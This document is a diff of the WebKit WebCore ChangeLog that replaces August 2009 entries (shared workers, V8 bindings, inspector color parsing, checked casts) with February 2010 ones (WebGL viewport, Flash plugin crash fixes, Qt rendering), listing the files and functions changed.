-        * WebCore.gypi:
-        Added shared worker files.
-        * WebCore.pro:
-        Added shared worker files.
-        * WebCore.vcproj/WebCore.vcproj:
-        Added shared worker files.
-        * WebCore.xcodeproj/project.pbxproj:
-        Added shared worker files.
-        * bindings/js/JSEventTarget.cpp:
-        (WebCore::toJS):
-        Added code to convert from EventTarget to correct JS class.
-        (WebCore::toEventTarget):
-        Added code to cast from JS object to appropriate EventTarget impl class.
-        * bindings/js/JSSharedWorkerConstructor.cpp:
-        (WebCore::JSSharedWorkerConstructor::JSSharedWorkerConstructor):
-        (WebCore::constructSharedWorker):
-        Tweaked the constructor code to pass in the lexical global object like normal workers.
-        * bindings/js/JSSharedWorkerContextCustom.cpp: Added.
-        (WebCore::JSSharedWorkerContext::mark):
-        Custom marking of the onconnect handler.
-        * bindings/js/JSWorkerContextBase.cpp:
-        (WebCore::toJSSharedWorkerContext):
-        (WebCore::toJSWorkerContext):
-        Added proper conversion to the correct WorkerContext derived class.
-        * bindings/js/JSWorkerContextBase.h:
-        * bindings/js/WorkerScriptController.cpp:
-        (WebCore::WorkerScriptController::initScript):
-        Updated WorkerScriptController to create the correct type of binding object (JSSharedWorkerContext vs JSDedicatedWorkerContext)
-        * bindings/scripts/CodeGeneratorV8.pm:
-        Added support for SharedWorkerContext.
-        * bindings/v8/DOMObjectsInclude.h:
-        Added shared worker bindings files.
-        * dom/EventNames.h:
-        Added connect event.
-        * dom/EventTarget.cpp:
-        (WebCore::EventTarget::toSharedWorkerContext):
-        Added API for casting to new derived class (SharedWorkerContext).
-        * dom/EventTarget.h:
-        * workers/AbstractWorker.cpp:
-        (WebCore::AbstractWorker::resolveURL):
-        Moved code that resolves/validates URLs to base class so it can be shared between dedicated/shared workers.
-        * workers/AbstractWorker.h:
-        * workers/DedicatedWorkerContext.cpp:
-        (WebCore::DedicatedWorkerContext::logException):
-        Refactored exception handling code - moved onerror handling to base class.
-        * workers/DedicatedWorkerContext.h:
-        (WebCore::DedicatedWorkerContext::isDedicatedWorkerContext):
-        * workers/SharedWorker.cpp:
-        (WebCore::SharedWorker::SharedWorker):
-        Changed constructor to fire up worker thread.
-        * workers/SharedWorker.h:
-        * workers/SharedWorkerContext.cpp: Added.
-        (WebCore::SharedWorkerContext::SharedWorkerContext):
-        (WebCore::SharedWorkerContext::~SharedWorkerContext):
-        (WebCore::SharedWorkerContext::logException):
-        (WebCore::SharedWorkerContext::addMessage):
-        Placeholder methods until we add support for sending exceptions/messages to console.
-        (WebCore::SharedWorkerContext::dispatchConnect):
-        (WebCore::SharedWorkerContext::thread):
-        * workers/SharedWorkerContext.h: Added.
-        (WebCore::SharedWorkerContext::create):
-        (WebCore::SharedWorkerContext::isSharedWorkerContext):
-        (WebCore::SharedWorkerContext::toSharedWorkerContext):
-        (WebCore::SharedWorkerContext::setOnconnect):
-        (WebCore::SharedWorkerContext::onconnect):
-        (WebCore::SharedWorkerContext::name):
-        * workers/SharedWorkerContext.idl: Added.
-        * workers/SharedWorkerRepository.h: Added.
-        (WebCore::SharedWorkerRepository::~SharedWorkerRepository):
-        * workers/DefaultSharedWorkerRepository.cpp: Added.
-        Implementation of core singleton class that will be used to implement sharing.
-        (WebCore::SharedWorkerProxy::setThread):
-        Proxy object used to handle resource loading for a given shared worker.
-        (WebCore::SharedWorkerProxy::postTaskToLoader):
-        (WebCore::SharedWorkerProxy::postTaskForModeToWorkerContext):
-        Placeholder routines until we implement loading.
-        (WebCore::SharedWorkerConnectTask::create):
-        Creates a task to fire off a connect event on the worker thread.
-        (WebCore::SharedWorkerConnectTask::SharedWorkerConnectTask):
-        (WebCore::SharedWorkerConnectTask::performTask):
-        (WebCore::SharedWorkerLoader::SharedWorkerLoader):
-        Added helper object to load the initial script for the worker.
-        (WebCore::SharedWorkerLoader::load):
-        (WebCore::SharedWorkerLoader::notifyFinished):
-        (WebCore::SharedWorkerRepository::instance):
-        (WebCore::DefaultSharedWorkerRepository::instance):
-        (WebCore::DefaultSharedWorkerRepository::workerScriptLoaded):
-        Fires off the worker thread once the script is loaded.
-        (WebCore::SharedWorkerRepository::connect):
-        (WebCore::DefaultSharedWorkerRepository::DefaultSharedWorkerRepository):
-        (WebCore::DefaultSharedWorkerRepository::~DefaultSharedWorkerRepository):
-        * workers/DefaultSharedWorkerRepository.h: Added.
-        * workers/SharedWorkerThread.cpp: Added.
-        (WebCore::SharedWorkerThread::create):
-        (WebCore::SharedWorkerThread::SharedWorkerThread):
-        (WebCore::SharedWorkerThread::~SharedWorkerThread):
-        (WebCore::SharedWorkerThread::createWorkerContext):
-        * workers/SharedWorkerThread.h: Added.
-        * workers/Worker.cpp:
-        (WebCore::Worker::Worker):
-        * workers/WorkerContext.cpp:
-        (WebCore::WorkerContext::reportException):
-        * workers/WorkerContext.h:
-        (WebCore::WorkerContext::isSharedWorkerContext):
-        (WebCore::WorkerContext::isDedicatedWorkerContext):
-        Added APIs to determine the type of a given context.
-
-2009-08-06  Chris Marrin  <cmarrin@apple.com>
-
-        Reviewed by David Hyatt.
-
-        Added ENABLE_3D_CANVAS flag to build, default to off
-
-        * Configurations/FeatureDefines.xcconfig:
-
-2009-08-06  Andras Becsi  <becsi.andras@stud.u-szeged.hu>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] windowsKeyCodeForKeyEvent fix
-
-        Fix windowsKeyCodeForKeyEvent to determine wheter the event comes from the keypad.
-
-        * platform/qt/PlatformKeyboardEventQt.cpp:
-        (WebCore::windowsKeyCodeForKeyEvent):
-        (WebCore::PlatformKeyboardEvent::PlatformKeyboardEvent):
-
-2009-08-06  George Staikos  <george.staikos@torchmobile.com>
-
-        Rubber-stamped by Ariya Hidayat.
-
-        Remove the dead wince/ directory that should never have gone in.
-
-        * svg/graphics/wince: Removed.
-        * svg/graphics/wince/SVGResourceFilterWince.cpp: Removed.
-
-2009-08-06  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        WebInspector: Extract style editing into a separate file that is
-        going to be loaded in page context.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27939
-
-        * inspector/front-end/InjectedScript.js: Added.
-        (InjectedScript.applyStyleText):
-        (InjectedScript.setStyleText):
-        (InjectedScript.toggleStyleEnabled):
-        (InjectedScript.setStyleRule):
-        * inspector/front-end/StylesSidebarPane.js:
-        (WebInspector.StylePropertiesSection.prototype.editingSelectorCommitted.callback):
-        (WebInspector.StylePropertiesSection.prototype.editingSelectorCommitted):
-        (WebInspector.StylePropertyTreeElement.prototype.):
-        (WebInspector.StylePropertyTreeElement.prototype):
-        * inspector/front-end/WebKit.qrc:
-        * inspector/front-end/inspector.html:
-
-2009-08-06  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by David Levin.
-
-        [V8] Remove bug-bait V8Proxy::context()
-        https://bugs.webkit.org/show_bug.cgi?id=27826
-
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::updateDocumentWrapperCache):
-        (WebCore::V8Proxy::initContextIfNeeded):
-        (WebCore::V8Proxy::mainWorldContext):
-        * bindings/v8/V8Proxy.h:
-
-2009-08-06  Adam Barth  <abarth@webkit.org>
-
-        Unreviewed attempt to fix the Chromium Linux build.  This function is
-        not used.
-
-        * bindings/v8/OwnHandle.h:
 
-2009-08-06  Adam Barth  <abarth@webkit.org>
+2010-02-10  Kenneth Russell  <kbr@google.com>
 
-        Reviewed by Eric Seidel.
+        Reviewed by Oliver Hunt.
 
-        [V8] Teach ScheduledAction::execute about isolated worlds
-        https://bugs.webkit.org/show_bug.cgi?id=27703
+        Remove automatic viewport resizing
+        https://bugs.webkit.org/show_bug.cgi?id=34766
 
-        We now save a weak handle to the original context.  We use that handle
-        to call the timeout in the right context / world.
+        Removed automatic viewport resizing per conclusions on the WebGL
+        mailing list. Added test verifying new behavior and updated a
+        couple of previous tests failing after this change.
 
-        Tests: http/tests/security/isolatedWorld/window-setTimeout-function.html
-               http/tests/security/isolatedWorld/window-setTimeout-string.html
+        Test: fast/canvas/webgl/viewport-unchanged-upon-resize.html
 
-        * bindings/v8/ScheduledAction.cpp:
-        (WebCore::ScheduledAction::ScheduledAction):
-        (WebCore::ScheduledAction::execute):
-        * bindings/v8/ScheduledAction.h:
-        (WebCore::ScheduledAction::ScheduledAction):
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::V8Custom::WindowSetTimeoutImpl):
-        * bindings/v8/custom/V8WorkerContextCustom.cpp:
-        (WebCore::SetTimeoutOrInterval):
-
-2009-08-05  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Unreviewed, build fix.
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::GraphicsContext3D::reshape):
 
-        [V8] Revert http://trac.webkit.org/changeset/46821, which was
-        landed to supplement http://trac.webkit.org/changeset/46816, but
-        now that the latter is reverted, the former needs the same.
+2010-02-10  Ariya Hidayat  <ariya.hidayat@gmail.com>
 
-        * bindings/v8/DOMObjectsInclude.h:
-        * bindings/v8/DerivedSourcesAllInOne.cpp:
-        * bindings/v8/V8Index.cpp:
-        * bindings/v8/V8Index.h:
+        Reviewed by Kenneth Rohde Christiansen.
 
-2009-08-05  Joseph Pecoraro  <joepeck02@gmail.com>
+        [Qt] Implement image interpolation quality.
 
-        Reviewed by Timothy Hatcher.
+        https://bugs.webkit.org/show_bug.cgi?id=34629
 
-        Color is only reported in rgb() format; should toggle between rgb() and hex
-        https://bugs.webkit.org/show_bug.cgi?id=13516
-
-          New Class to Parse and Change Between Color Representations:
-
-        * inspector/front-end/Color.js: Added.
-        (WebInspector.Color):
-
-          Representations of Colors in Raw Form. (May be Lazy Loaded):
-
-        (WebInspector.Color.prototype.get shorthex):
-        (WebInspector.Color.prototype.get hex):
-        (WebInspector.Color.prototype.set hex):
-        (WebInspector.Color.prototype.get rgb):
-        (WebInspector.Color.prototype.set rgb):
-        (WebInspector.Color.prototype.get hsl):
-        (WebInspector.Color.prototype.set hsl):
-        (WebInspector.Color.prototype.get nickname):
-        (WebInspector.Color.prototype.set nickname):
-        (WebInspector.Color.prototype.get rgba):
-        (WebInspector.Color.prototype.set rgba):
-        (WebInspector.Color.prototype.get hsla):
-        (WebInspector.Color.prototype.set hsla):
-
-          Helpers and Standard String Representations:
-
-        (WebInspector.Color.prototype.hasShortHex):
-        (WebInspector.Color.prototype.toRgb):
-        (WebInspector.Color.prototype.toHsl):
-        (WebInspector.Color.prototype.toShortHex):
-        (WebInspector.Color.prototype.toHex):
-        (WebInspector.Color.prototype.toRgba):
-        (WebInspector.Color.prototype.toHsla):
-        (WebInspector.Color.prototype.toNickname):
-
-          Conversion Functions to Determine Other Representations:
-          My Sources for all algorithms and sample data:
-          Wikipedia: http://en.wikipedia.org/wiki/HSV_color_space
-          CSS Specification: http://www.w3.org/TR/css3-color/#hsla-color
-
-        (WebInspector.Color.prototype.rgbToHex):
-        (WebInspector.Color.prototype.hexToRgb):
-        (WebInspector.Color.prototype.rgbToHsl):
-        (WebInspector.Color.prototype.hslToRgb.hueToRgb):
-        (WebInspector.Color.prototype.hslToRgb):
-        (WebInspector.Color.prototype.rgbaToHsla):
-        (WebInspector.Color.prototype.hslaToRgba):
-
-          Called from the constructor, attempts to parse and will throw an error
-          if it cannot parse.  If simple then the "hex" value is guarenteed.
-          If advanced then both the "rgba" and "hsla" are guarenteed.  If it is
-          a nickname in any way (e.g. "transparent", "black") then this is
-          guarenteed to be set as well.
-
-        (WebInspector.Color.prototype.parse):
-
-          Clicking on the swatch will rotate through Color Representations.
-            Simple:   rgb -> hsl -> nickname? -> shorthex? -> hex -> (loop around)
-            Advanced: rgba -> hsla -> nickname? -> (loop around)
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContextPlatformPrivate::GraphicsContextPlatformPrivate):
+        (WebCore::GraphicsContext::setImageInterpolationQuality):
+        (WebCore::GraphicsContext::imageInterpolationQuality):
 
-        * inspector/front-end/StylesSidebarPane.js:
-        (WebInspector.StylePropertyTreeElement.prototype.updateTitle.value.):
-        (WebInspector.StylePropertyTreeElement.prototype.updateTitle):
+2010-02-10  Eric Seidel  <eric@webkit.org>
 
-          Load Color.js:
+        No review, Mac build fix.
 
-        * inspector/front-end/inspector.html:
+        Crash in Flash at http://www.cctv.com/
+        https://bugs.webkit.org/show_bug.cgi?id=34673
 
-2009-08-05  John Abd-El-Malek  <jam@chromium.org>
+        * plugins/PluginViewNone.cpp:
+        (WebCore::PluginView::getValueStatic):
 
-        Reviewed by Dimitri Glazkov.
+2010-02-10  Gustavo Noronha Silva  <gns@gnome.org>
 
-        Support setting event listeners for message ports in the worker process.
+        Reviewed by Xan Lopez.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28004
+        [GTK] Hits assertion on history back, with page cache enabled, in specific conditions
+        https://bugs.webkit.org/show_bug.cgi?id=34773
 
-        * bindings/v8/WorkerContextExecutionProxy.cpp:
-        (WebCore::WorkerContextExecutionProxy::retrieve):
-        (WebCore::WorkerContextExecutionProxy::EventTargetToV8Object):
-        * bindings/v8/WorkerContextExecutionProxy.h:
-        * bindings/v8/custom/V8MessagePortCustom.cpp:
-        (WebCore::getEventListener):
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
+        When unsetting the adjustments from a ScrollView, also disconnect
+        them from the Scrollbars.
 
-2009-08-05  Stephen White  <senorblanco@chromium.org>
+        Test: fast/frames/frame-crash-with-page-cache.html
 
-        Reviewed by Dimitri Glazkov.
+        * platform/gtk/ScrollViewGtk.cpp:
+        (WebCore::ScrollView::setGtkAdjustments):
+        * platform/gtk/ScrollbarGtk.cpp:
+        (ScrollbarGtk::~ScrollbarGtk):
+        (ScrollbarGtk::detachAdjustment):
+        * platform/gtk/ScrollbarGtk.h:
 
-        http://bugs.webkit.org/show_bug.cgi?id=28022
+2010-02-09  Alexey Proskuryakov  <ap@apple.com>
 
-        Minor fix for media code on chromium/skia.
+        Reviewed by Geoffrey Garen.
 
-        * rendering/RenderThemeChromiumSkia.cpp:
-        (WebCore::RenderThemeChromiumSkia::paintMediaSliderTrack):
+        https://bugs.webkit.org/show_bug.cgi?id=34490
+        WebCore::ImageEventSender::dispatchPendingEvents() crashes in certain conditions
 
-2009-08-05  Darin Adler  <darin@apple.com>
+        Test: fast/images/destroyed-image-load-event.html
 
-        Reviewed by Dan Bernstein.
+        * ForwardingHeaders/wtf/ValueCheck.h: Added.
 
-        Client side image maps did not handle zoom correctly.
-        Client side image maps did not handle border and padding correctly.
+        * loader/ImageLoader.cpp:
+        (WTF::ValueCheck): Special case value check for ImageLoader - it's allocated inside elements,
+        so check the owner instead.
+        (WebCore::ImageEventSender::hasPendingEvents): Added a debugging aid for ImageLoader destructor.
+        (WebCore::ImageLoader::~ImageLoader): Assert that we're not going to leave dangling pointers
+        in ImageEventSender.
+        (WebCore::ImageLoader::setImage): Cancel events that could be dispatched for the previous
+        image. The only client using this method that I could find was DeleteButton, which doesn't
+        care about load events for the new image, so I didn't add any code for firing those.
+        (WebCore::ImageLoader::setLoadingImage): This method only existed to confuse readers -
+        there wasn't any meaningful code shared (callers just undid most assignments made there).
+        Merged the logic into callers.
+        (WebCore::ImageLoader::updateFromElement): We're forgetting the old image, so forget its
+        old events, too.
+        (WebCore::ImageLoader::notifyFinished): This can be called from setImage(), in which case
+        no one is going to dispatch the event "soon". So, don't queue it.
+        (WebCore::ImageEventSender::dispatchPendingEvents): Call checkConsistency(). This didn't
+        help catch this particuar bug, but seems like a useful check anyway.
+
+        * loader/ImageLoader.h: Removed setLoadingImage().
+
+2010-02-10  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        Mac build fix. Unreviewed.
 
-        Test: fast/images/image-map-zoom.html
+        * WebCore.xcodeproj/project.pbxproj:
+        Add PluginViewNone.cpp to the Mac project.
 
-        * rendering/RenderImage.cpp:
-        (WebCore::RenderImage::nodeAtPoint): Compute the values to pass in to the map
-        element using the content box and the effective zoom.
+2010-02-10  Adam Roben  <aroben@apple.com>
 
-2009-08-05  Alexey Proskuryakov  <ap@apple.com>
+        Optimize ImageBuffer::toDataURL's CG implementation
 
-        Reviewed by Oliver Hunt.
+        There was some unused code that could have been removed in r31830 when
+        this function was changed not to flip the CG image anymore.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28027
-        <rdar://7064428> Files with accents in names are submitted incorrectly due to use of
-        precomposed Unicode
+        Fixes <http://webkit.org/b/34808> ImageBuffer::toDataURL allocates
+        unnecessary memory under CoreGraphics
 
-        * platform/network/mac/FormDataStreamMac.mm: (WebCore::setHTTPBody): Use getFileSize() from
-        FileSystem.h instead of custom code for getting file size. This adds path normalization
-        necessary with some file systems on Mac. This also loses a S_IFMT check, which didn't seem
-        important anyway.
+        Reviewed by Sam Weinig.
 
-2009-08-05  Dimitri Glazkov  <dglazkov@chromium.org>
+        * platform/graphics/cg/ImageBufferCG.cpp:
+        (WebCore::ImageBuffer::toDataURL): Don't allocate an unused CGImageRef
+        and buffer, and switch to the new overload of base64Encode that
+        doesn't require us to copy all the image data into a Vector first.
 
-        Unreviewed, build fix.
+        * platform/text/Base64.cpp:
+        (WebCore::base64Encode):
+        * platform/text/Base64.h:
+        Added an overload that takes a raw data pointer and length, just like
+        we have for base64Decode. The overload that takes a Vector as input
+        just calls through to the new overload.
 
-        [V8] Include Media into V8 bindings.
+2010-02-10  Dan Bernstein  <mitz@apple.com>
 
-        * bindings/v8/DOMObjectsInclude.h: Added Media include.
-        * bindings/v8/DerivedSourcesAllInOne.cpp: Added V8Media include.
-        * bindings/v8/V8Index.cpp: Added decl for V8Media.
-        * bindings/v8/V8Index.h: Added V8Media include.
+        Reviewed by Dave Hyatt.
 
-2009-08-04  Jon Honeycutt  <jhoneycutt@apple.com>
+        Complete the fix for <rdar://problem/7577604> Drag and Drop: background elements are bleeding through
+        https://bugs.webkit.org/show_bug.cgi?id=34546
 
-        Fix Windows layout test crashes.
+        * manual-tests/drag-image-table-part-decorations.html:
+        * rendering/RenderTableCell.cpp:
+        (WebCore::RenderTableCell::paint): Don’t paint collapsed borders if this object shouldn’t
+        paint within the current painting root.
 
-        PluginView::removeFromUnstartedListIfNecessary() would try to remove
-        any unstarted PluginView from the Page's set of unstarted plug-ins,
-        regardless of why the PluginView wasn't started. If we tried to start a
-        plug-in, but it failed to start, we would hit an assertion in
-        Page::removeUnstartedPlugin() that asserts that we would only modify the
-        unstarted plug-ins set if we were not currently starting plug-ins.
+2010-02-08  Jon Honeycutt  <jhoneycutt@apple.com>
 
-        Fix this by having PluginView track whether it's waiting to be started,
-        and to check this before trying to remove itself from the Page's
-        unstarted plug-ins set.
+        <rdar://problem/7436875> Crash in Flash when visiting
+        http://www.cctv.com/default.shtml (WER ID 819298200) [watson 2502260]
 
         Reviewed by Darin Adler.
 
-        * page/Page.cpp:
-        (WebCore::Page::removeUnstartedPlugin):
-        Assert that the passed PluginView is in the unstarted set.
+        Test: platform/win/plugins/plugin-delayed-destroy.html
+
+        * bridge/NP_jsobject.cpp:
+        (_NPN_Evaluate):
+        If Flash calls this to evaluate a script that destroys the PluginView,
+        we crash when returning to Flash code. Before evaluating the script,
+        call PluginView::keepAlive() to hold a ref to this instance (and release
+        it asynchronously).
 
         * plugins/PluginView.cpp:
-        (WebCore::PluginView::start):
-        Set that we are not waiting to be started.
-        (WebCore::PluginView::startOrAddtoUnstartedList):
-        Set that we are waiting to be started.
-        (WebCore::PluginView::removeFromUnstartedListIfNecessary):
-        Check not whether we are started, but whether we are waiting to be
-        started.
+        (WebCore::instanceMap):
+        Return a map from the NPP to the PluginView.
+        (WebCore::PluginView::~PluginView):
+        Assert that the keep alive timer is not running; remove ourselves from
+        the instance map.
+        (WebCore::PluginView::performRequest):
+        The parent Frame is now a RefPtr; use .get().
+        (WebCore::PluginView::status):
+        Ditto.
+        (WebCore::PluginView::didReceiveResponse):
+        Ditto.
         (WebCore::PluginView::PluginView):
+        Add the view to the instance map.
+        (WebCore::PluginView::lifeSupportTimerFired):
+        Deref the PluginView.
+        (WebCore::PluginView::keepAlive):
+        Ref the PluginView, then start a time to release the reference
+        asynchronously.
+        (WebCore::PluginView::keepAlive):
+        Find the PluginView in the map, and call its keepAlive() function.
 
         * plugins/PluginView.h:
+        Made m_parentFrame a RefPtr, so that it will remain valid when the
+        keep alive timer fires.
+        (WebCore::PluginView::parentFrame):
+        Use .get().
 
-2009-08-05  Jeremy Orlow  <jorlow@chromium.org>
-
-       Fix DOM Storage memory leak
-       https://bugs.webkit.org/show_bug.cgi?id=28029
-
-       Forgot to use adoptRef in one place.  This caused the = operator to
-       increment the ref count when it shouldn't have, so StorageAreaImpl's were
-       never freed.
-
-        * storage/StorageNamespaceImpl.cpp:
-        (WebCore::StorageNamespaceImpl::storageArea):
-
-2009-08-05  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Unreviewed, build fix.
-
-        [Chromium] Let CodeGeneratorV8.pm know that Media is ref-counted.
-
-        * bindings/scripts/CodeGeneratorV8.pm: Added Media check to IsRefPtrType.
+        * plugins/gtk/PluginViewGtk.cpp:
+        (WebCore::PluginView::updatePluginWidget):
+        Use .get().
+        (WebCore::PluginView::handleKeyboardEvent):
+        Use .get().
+        (WebCore::PluginView::handleMouseEvent):
+        Use .get().
 
-2009-08-05  Darin Adler  <darin@apple.com>
+        * plugins/PluginViewNone.cpp:
+        (WebCore::PluginView::keepAlive):
+        Stubbed.
 
-        Reviewed by David Levin.
+2010-02-10  Jesus Sanchez-Palencia  <jesus.palencia@openbossa.org>
 
-        Use checked casts for render tree
-        https://bugs.webkit.org/show_bug.cgi?id=23522
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Last patch. Makes all the casts of RenderObject use checked
-        casts instead of using static_cast directly.
+        Support frameset flattening
+        https://bugs.webkit.org/show_bug.cgi?id=32717
 
-        * accessibility/AccessibilityListBox.cpp:
-        (WebCore::AccessibilityListBox::visibleChildren):
-        (WebCore::AccessibilityListBox::doAccessibilityHitTest):
-        * accessibility/AccessibilityListBoxOption.cpp:
-        (WebCore::AccessibilityListBoxOption::elementRect):
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::textUnderElement):
-        (WebCore::AccessibilityRenderObject::stringValue):
-        (WebCore::AccessibilityRenderObject::titleUIElement):
-        (WebCore::AccessibilityRenderObject::accessibilityIsIgnored):
-        * accessibility/AccessibilitySlider.cpp:
-        (WebCore::AccessibilitySliderThumb::elementRect):
-        * dom/InputElement.cpp:
-        (WebCore::InputElement::updatePlaceholderVisibility):
-        * dom/SelectElement.cpp:
-        (WebCore::SelectElement::scrollToSelection):
-        (WebCore::SelectElement::recalcStyle):
-        (WebCore::SelectElement::setRecalcListItems):
-        (WebCore::SelectElement::menuListDefaultEventHandler):
-        (WebCore::SelectElement::listBoxDefaultEventHandler):
-        * editing/BreakBlockquoteCommand.cpp:
-        (WebCore::BreakBlockquoteCommand::doApply):
-        * html/HTMLAppletElement.cpp:
-        (WebCore::HTMLAppletElement::renderWidgetForJSBindings):
-        * html/HTMLCanvasElement.cpp:
-        (WebCore::HTMLCanvasElement::reset):
-        * html/HTMLEmbedElement.cpp:
-        (WebCore::HTMLEmbedElement::updateWidget):
-        * html/HTMLFrameElementBase.cpp:
-        (WebCore::HTMLFrameElementBase::attach):
-        * html/HTMLFrameSetElement.cpp:
-        (WebCore::HTMLFrameSetElement::defaultEventHandler):
-        * html/HTMLIFrameElement.cpp:
-        (WebCore::HTMLIFrameElement::attach):
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::defaultEventHandler):
-        (WebCore::HTMLInputElement::addSearchResult):
-        (WebCore::HTMLInputElement::onSearch):
-        * html/HTMLLIElement.cpp:
-        (WebCore::HTMLLIElement::parseMappedAttribute):
-        (WebCore::HTMLLIElement::attach):
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::setReadyState):
-        (WebCore::HTMLMediaElement::mediaPlayerDurationChanged):
-        (WebCore::HTMLMediaElement::mediaPlayerSizeChanged):
-        (WebCore::HTMLMediaElement::mediaPlayerRenderingCanBeAccelerated):
-        (WebCore::HTMLMediaElement::mediaPlayerGraphicsLayer):
-        (WebCore::HTMLMediaElement::defaultEventHandler):
-        (WebCore::HTMLMediaElement::finishParsingChildren):
-        * html/HTMLOListElement.cpp:
-        (WebCore::HTMLOListElement::parseMappedAttribute):
-        * html/HTMLObjectElement.cpp:
-        (WebCore::HTMLObjectElement::updateWidget):
-        * html/HTMLTextAreaElement.cpp:
-        (WebCore::HTMLTextAreaElement::defaultEventHandler):
-        * page/DragController.cpp:
-        (WebCore::DragController::concludeEditDrag):
-        * page/EventHandler.cpp:
-        (WebCore::EventHandler::selectCursor):
-        (WebCore::EventHandler::capsLockStateMayHaveChanged):
-        * page/Frame.cpp:
-        (WebCore::Frame::ownerRenderer):
-        * page/FrameView.cpp:
-        (WebCore::FrameView::detachCustomScrollbars):
-        * page/wince/FrameWince.cpp:
-        (WebCore::computePageRectsForFrame):
-        * rendering/InlineFlowBox.cpp:
-        (WebCore::InlineFlowBox::placeBoxesHorizontally):
-        * rendering/MediaControlElements.cpp:
-        (WebCore::MediaControlTimelineElement::defaultEventHandler):
-        * rendering/RenderBlockLineLayout.cpp:
-        (WebCore::RenderBlock::findNextLineBreak):
-        * rendering/RenderCounter.cpp:
-        (WebCore::planCounter):
-        * rendering/RenderFrameSet.cpp:
-        (WebCore::RenderFrameSet::computeEdgeInfo):
-        (WebCore::RenderFrameSet::setIsResizing):
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::contentsBox):
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::updateBacking):
-        (WebCore::RenderLayerCompositor::requiresCompositingForVideo):
-        * rendering/RenderListItem.cpp:
-        (WebCore::previousListItem):
-        (WebCore::RenderListItem::explicitValueChanged):
-        * rendering/RenderObject.cpp:
-        (WebCore::updateListMarkerNumbers):
-        * rendering/RenderObjectChildList.cpp:
-        (WebCore::updateListMarkerNumbers):
-        (WebCore::invalidateCountersInContainer):
-        * rendering/RenderScrollbarTheme.cpp:
-        (WebCore::RenderScrollbarTheme::minimumThumbLength):
-        (WebCore::RenderScrollbarTheme::backButtonRect):
-        (WebCore::RenderScrollbarTheme::forwardButtonRect):
-        (WebCore::RenderScrollbarTheme::trackRect):
-        (WebCore::RenderScrollbarTheme::constrainTrackRectToTrackPieces):
-        (WebCore::RenderScrollbarTheme::paintScrollbarBackground):
-        (WebCore::RenderScrollbarTheme::paintTrackBackground):
-        (WebCore::RenderScrollbarTheme::paintTrackPiece):
-        (WebCore::RenderScrollbarTheme::paintButton):
-        (WebCore::RenderScrollbarTheme::paintThumb):
-        * rendering/RenderSlider.cpp:
-        (WebCore::SliderThumbElement::defaultEventHandler):
-        * rendering/RenderThemeChromiumMac.mm:
-        (WebCore::RenderThemeChromiumMac::paintSliderThumb):
-        (WebCore::RenderThemeChromiumMac::paintMediaSliderTrack):
-        * rendering/RenderThemeChromiumWin.cpp:
-        (WebCore::RenderThemeChromiumWin::determineSliderThumbState):
-        * rendering/RenderThemeMac.mm:
-        (WebCore::RenderThemeMac::paintSliderThumb):
-        * rendering/RenderThemeSafari.cpp:
-        (WebCore::RenderThemeSafari::paintSliderThumb):
-        * rendering/RenderThemeWin.cpp:
-        (WebCore::RenderThemeWin::determineSliderThumbState):
-        * rendering/SVGCharacterLayoutInfo.cpp:
-        (WebCore::SVGCharacterLayoutInfo::addLayoutInformation):
-        * rendering/SVGRootInlineBox.cpp:
-        (WebCore::findSVGRootObject):
-        * rendering/TextControlInnerElements.cpp:
-        (WebCore::RenderTextControlInnerBlock::nodeAtPoint):
-        (WebCore::SearchFieldResultsButtonElement::defaultEventHandler):
-        * svg/SVGImageElement.cpp:
-        (WebCore::SVGImageElement::attach):
-        * svg/SVGMarkerElement.cpp:
-        (WebCore::SVGMarkerElement::canvasResource):
-        * svg/SVGTextContentElement.cpp:
-        (WebCore::rootInlineBoxForTextContentElement):
-        * wml/WMLInputElement.cpp:
-        (WebCore::WMLInputElement::defaultEventHandler):
-        Use checked casts.
+        Add support for enabling/disabling FrameSet Flattening on the Mac port.
 
-        * rendering/RenderApplet.h:
-        * rendering/RenderCounter.h:
-        * rendering/RenderFieldset.h:
-        * rendering/RenderFileUploadControl.h:
-        * rendering/RenderFrame.h:
-        * rendering/RenderFrameSet.h:
-        * rendering/RenderHTMLCanvas.h:
-        * rendering/RenderListBox.h:
-        * rendering/RenderListItem.h:
-        * rendering/RenderListMarker.h:
-        * rendering/RenderMedia.h:
-        * rendering/RenderMenuList.h:
-        * rendering/RenderPart.h:
-        * rendering/RenderPartObject.h:
-        * rendering/RenderPath.h:
-        * rendering/RenderSVGContainer.h:
-        * rendering/RenderSVGRoot.h:
-        * rendering/RenderSVGTextPath.h:
-        * rendering/RenderSVGViewportContainer.h:
-        * rendering/RenderScrollbar.h:
-        * rendering/RenderSlider.h:
-        * rendering/RenderTextControlMultiLine.h:
-        * rendering/RenderTextControlSingleLine.h:
-        * rendering/RenderVideo.h:
-        Added a checked cast. Also made most members protected or private.
+        * WebCore.base.exp:
 
-        * rendering/RenderBlock.h:
-        * rendering/RenderInline.h:
-        * rendering/RenderReplaced.h:
-        * rendering/RenderSVGBlock.h:
-        * rendering/RenderSVGImage.h:
-        * rendering/RenderSVGInlineText.h:
-        * rendering/RenderSVGText.h:
-        * rendering/RenderTextControl.h:
-        Made most members protected or private.
+2010-02-10  Jeremy Orlow  <jorlow@chromium.org>
 
-        * rendering/RenderInline.cpp:
-        * rendering/RenderSVGContainer.cpp:
-        * rendering/RenderSVGHiddenContainer.cpp:
